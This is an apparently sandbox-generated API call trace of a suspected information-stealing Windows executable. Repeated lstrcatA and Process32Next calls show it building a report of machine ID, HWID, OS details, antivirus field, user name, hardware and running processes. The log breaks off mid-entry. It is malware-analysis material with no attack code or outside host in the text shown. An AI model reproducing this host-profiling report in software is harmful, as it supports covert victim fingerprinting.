[0054.838] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe"
[0054.838] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe ["
[0054.838] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d948
[0054.838] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.838] GetLastError () returned 0x7a
[0054.838] SetLastError (dwErrCode=0x7a)
[0054.838] GetLastError () returned 0x7a
[0054.838] SetLastError (dwErrCode=0x7a)
[0054.838] GetLastError () returned 0x7a
[0054.838] SetLastError (dwErrCode=0x7a)
[0054.838] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] GetLastError () returned 0x7a
[0054.839] SetLastError (dwErrCode=0x7a)
[0054.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0054.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0054.839] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [", lpString2="1132" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132"
[0054.839] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n"
[0054.839] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
[0054.840] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- "
[0054.840] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- ", lpString2="spoolsv.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe"
[0054.840] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: 